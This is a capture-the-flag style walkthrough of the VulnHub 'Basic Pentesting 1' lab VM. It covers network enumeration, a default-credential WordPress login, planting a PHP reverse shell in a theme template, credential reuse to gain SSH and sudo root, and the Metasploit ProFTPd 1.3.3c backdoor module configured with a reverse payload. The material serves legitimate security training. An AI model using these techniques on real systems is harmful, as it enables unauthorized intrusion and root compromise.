“This is a small boot2root VM I created for my university’s cyber security group. It contains multiple remote vulnerabilities and multiple privilege escalation vectors.” VulnHub machine containing web directory enumeration, WordPress abuse to RCE, and privesc through common credentials/FTP backdoor.
This machine can be easily downloaded from VulnHub: https://www.vulnhub.com/entry/basic-pentesting-1,216/
To set up this machine inside Proxmox, I used the following resource as a reference: https://benheater.com/proxmox-lab-adding-vulnhub-vms/.
Additionally, I set up a simple DHCP server to assign an IP address from my Kali machine to the vulnerable VM. Here’s my own guide on how to configured it based on a previous writeup for the Kioptrix series: Kioptrix Level 2 (1.1) - VulnHub Writeup.
After everything has been set up, we can start our VM and escalate to root!
Enumeration
After setting the machine up, we should be able to confirm its IP address using arp-scan.
└─$ sudo arp-scan --interface=eth2 -l
Interface: eth2, type: EN10MB, MAC: bc:24:11:b4:13:a7, IPv4: 10.0.1.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.1.109 bc:24:11:6b:36:8e (Unknown)
1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.048 seconds (125.00 hosts/sec). 1 respondedNext, let's continue with standard nmap enumeration.
└─$ nmap 10.0.1.109 -T4 -p- -oN all-ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-30 09:58 MDT
Nmap scan report for 10.0.1.109
Host is up (0.000077s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: BC:24:11:6B:36:8E (Proxmox Server Solutions GmbH)
Nmap done: 1 IP address (1 host up) scanned in 1.06 secondsLooking into the open HTTP service, the landing page looks quite empty.
Let's try enumerating common directories.
Great! Inside the /secret directory, we can find what appears to be a Wordpress blog. However, nothing is being loaded properly.
Looking into the source code for this page, we can observe that many of these hyperlinks are pointing to the vtcsec hostname (curl http://10.0.1.109/secret/ | grep 'a href="http').
After adding vtcsec to /etc/hosts with the IP address of the machine, we can see that the Wordpress website has been fixed.
Looking at the single post in the website, we can see that it was written by an admin user.
Is it possible that this website still contains default settings? Let's try logging in to /secret/wp-admin with admin/admin to prove if default credentials were also used.
Initial Access - PHP Reverse Shell inside WP Themes
Great! Let's try to further attack this WordPress site to progress deeper into the machine. Let's create a reverse shell by writing a payload into the Twenty Seventeen theme, which is being currently used by the website. The payload that will be used is PentestMonkey's PHP reverse shell (GitHub). To get started, let's navigate to the Appearance > Editor menu.
Let's edit the 404 Template, since modifying it will probably not break the rest of the site. Before uploading the payload, we need to add our IP and port number belonging to our attacker machine and set up an nc listener to receive the shell.
To trigger the reverse shell, navigate to http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php and the reverse shell will be executed!
Privilege Escalation 1 - su to root
Before starting, we need to upgrade our shell for a more comfortable experience. Using python and stty, this can be easily done (source).
Looking inside, we can find a directory under home, which contains standard Ubuntu home directories and some interesting files related to the FTP service we found before.
Let's try logging into to the FTP service using marlinspike/marlinspike credentials.
└─$ ftp 10.0.1.109
Connected to 10.0.1.109.
220 ProFTPD 1.3.3c Server (vtcsec) [10.0.1.109]
Name (10.0.1.109:kali): marlinspike
331 Password required for marlinspike
Password:
230 User marlinspike logged in
Remote system type is UNIX.
Using binary mode to transfer files.Great! Looking inside the FTP service, it seems that the root directory belongs to the home directory of the marlinspike user.
Additionally, the FTP version shown here is related to a vulnerable version of ProFTPd with a backdoor: ProFTPd-1.3.3c. Let's try this exploit later.
Knowing that the credentials for FTP were marlinspike/marlinspike, is it possible that a similar pattern was followed for services related to that user? Let's test it out with ssh.
Great! Now, how do we escalate to the root user? This is quite easy, as seen in the sudo -l output.
That's quite anticlimatic...
Still, it's root access !
Privilege Escalation 2 - FTP Backdoor
The current version of the FTP service in the host is vulnerable to a version of ProFTPd that contained a built-in backdoor. Metasploit contains an exploit to abuse this service and immediately escalate to root, identified as unix/ftp/proftpd_133c_backdoor. Using the following parameters, getting a shell as root should be straightforward.
msf exploit(unix/ftp/proftpd_133c_backdoor) > set payload 4
payload => cmd/unix/reverse
msf exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 10.0.1.5
LHOST => 10.0.1.5
msf exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 10.0.1.109
RHOSTS => 10.0.1.109After waiting a little bit, we should get a shell as root!
